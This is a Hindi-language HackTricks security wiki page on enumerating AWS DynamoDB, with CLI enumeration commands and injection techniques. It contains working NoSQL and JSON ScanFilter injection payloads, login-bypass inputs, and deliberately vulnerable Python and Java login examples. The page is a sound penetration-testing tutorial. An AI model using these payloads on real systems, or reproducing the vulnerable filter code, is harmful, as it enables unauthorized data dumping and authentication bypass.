AWS - DynamoDB Enum

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

DynamoDB

Basic Information

Amazon DynamoDB को AWS द्वारा एक पूर्ण रूप से प्रबंधित, सर्वर रहित, की-वैल्यू NoSQL डेटाबेस के रूप में प्रस्तुत किया गया है, जो उच्च प्रदर्शन वाले अनुप्रयोगों को उनके आकार की परवाह किए बिना शक्ति प्रदान करने के लिए तैयार किया गया है। यह सेवा मजबूत सुविधाओं की गारंटी देती है, जिसमें अंतर्निहित सुरक्षा उपाय, निरंतर बैकअप, कई क्षेत्रों में स्वचालित प्रतिकृति, एकीकृत इन-मेमोरी कैशिंग, और सुविधाजनक डेटा निर्यात उपयोगिताएँ शामिल हैं।

DynamoDB के संदर्भ में, पारंपरिक डेटाबेस स्थापित करने के बजाय, तालिकाएँ बनाई जाती हैं। प्रत्येक तालिका को तालिका की प्राथमिक कुंजी के एक अभिन्न घटक के रूप में पार्टीशन कुंजी का निर्दिष्ट करना अनिवार्य है। यह पार्टीशन कुंजी, जो मूल रूप से एक हैश मान है, वस्तुओं की पुनर्प्राप्ति और विभिन्न होस्टों के बीच डेटा के वितरण में महत्वपूर्ण भूमिका निभाती है। यह वितरण डेटाबेस की स्केलेबिलिटी और उपलब्धता बनाए रखने के लिए महत्वपूर्ण है। इसके अतिरिक्त, डेटा संगठन को और अधिक परिष्कृत करने के लिए सॉर्ट कुंजी को शामिल करने का विकल्प भी है।

Encryption

डिफ़ॉल्ट रूप से, DynamoDB एक KMS कुंजी का उपयोग करता है जो **Amazon DynamoDB की है,** न कि AWS प्रबंधित कुंजी जो कम से कम आपके खाते की है।

Backups & Export to S3

तालिका बैकअप उत्पन्न करने के लिए अनुसूची बनाना या उन्हें मांग पर बनाना संभव है। इसके अलावा, एक तालिका के लिए पॉइंट-इन-टाइम रिकवरी (PITR) सक्षम करना भी संभव है। पॉइंट-इन-टाइम रिकवरी आपके DynamoDB डेटा के निरंतर बैकअप प्रदान करती है 35 दिनों के लिए ताकि आप आकस्मिक लिखने या हटाने के संचालन के खिलाफ सुरक्षा कर सकें।

S3 में एक तालिका के डेटा को निर्यात करना भी संभव है, लेकिन तालिका को PITR सक्षम होना चाहिए।

GUI

स्थानीय Dynamo सेवाओं के लिए एक GUI है जैसे DynamoDB Local, dynalite, localstack, आदि, जो उपयोगी हो सकते हैं: https://github.com/aaronshaf/dynamodb-admin

Enumeration

bash
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

अनधिकृत पहुँच

AWS - DynamoDB Unauthenticated Access

प्रिवेस्क

AWS - DynamoDB Privesc

पोस्ट एक्सप्लोइटेशन

AWS - DynamoDB Post Exploitation

स्थिरता

AWS - DynamoDB Persistence

DynamoDB इंजेक्शन

SQL इंजेक्शन

DynamoDB डेटा तक पहुँचने के लिए SQL सिंटैक्स के साथ तरीके हैं, इसलिए, सामान्य SQL इंजेक्शन भी संभव हैं

SQL Injection - HackTricks

NoSQL इंजेक्शन

DynamoDB में विभिन्न शर्तें डेटा प्राप्त करने के लिए उपयोग की जा सकती हैं, जैसे कि एक सामान्य NoSQL इंजेक्शन में यदि डेटा प्राप्त करने के लिए अधिक शर्तों को जोड़ना संभव है तो आप छिपा हुआ डेटा प्राप्त कर सकते हैं (या पूरी तालिका को डंप कर सकते हैं)।
आप यहाँ DynamoDB द्वारा समर्थित शर्तें पा सकते हैं: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

ध्यान दें कि विभिन्न शर्तें समर्थित हैं यदि डेटा query के माध्यम से या scan के माध्यम से पहुँचाया जा रहा है।

note

वास्तव में, Query क्रियाओं को कार्य करने के लिए प्राथमिक कुंजी में शर्त "EQ" (बराबर) निर्दिष्ट करने की आवश्यकता होती है, जिससे यह NoSQL इंजेक्शन के लिए कम संवेदनशील हो जाता है (और ऑपरेशन को बहुत सीमित भी बनाता है)।

यदि आप तुलना को बदल सकते हैं या नए जोड़ सकते हैं, तो आप अधिक डेटा प्राप्त कर सकते हैं।

bash
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

NoSQL injection - HackTricks

कच्चा Json इंजेक्शन

caution

यह भेद्यता dynamodb Scan Filter पर आधारित है जो अब अप्रचलित है!

DynamoDB Json ऑब्जेक्ट्स को DB के अंदर डेटा खोजने के लिए स्वीकार करता है। यदि आप पाते हैं कि आप खोज के लिए भेजे गए json ऑब्जेक्ट में लिख सकते हैं, तो आप DB का डंप बना सकते हैं, सभी सामग्री।

उदाहरण के लिए, एक अनुरोध में इंजेक्ट करना जैसे:

bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

एक हमलावर कुछ इस तरह इंजेक्ट कर सकता है:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

"EQ" स्थिति को ठीक करें जो ID 1000 के लिए खोज कर रहा है और फिर सभी डेटा के लिए देख रहा है जिनका Id स्ट्रिंग 0 से बड़ा है, जो कि सभी है।

एक कमजोर उदाहरण लॉगिन का हो सकता है:

python
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

यह निम्नलिखित के प्रति संवेदनशील होगा:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

कुछ SDKs एक स्ट्रिंग का उपयोग करने की अनुमति देते हैं जो फ़िल्टरिंग को इंगित करती है जो की जानी है जैसे:

java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

आपको यह जानना आवश्यक है कि DynamoDB में फिल्टर एक्सप्रेशंस में वैल्यू को बदलने के लिए आइटम को स्कैन करते समय, टोकन को : कैरेक्टर से शुरू होना चाहिए। ऐसे टोकन को रनटाइम में वास्तविक एट्रिब्यूट वैल्यू के साथ बदला जाएगा।

इसलिए, पिछले जैसे एक लॉगिन को इस तरह से बायपास किया जा सकता है:

bash
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें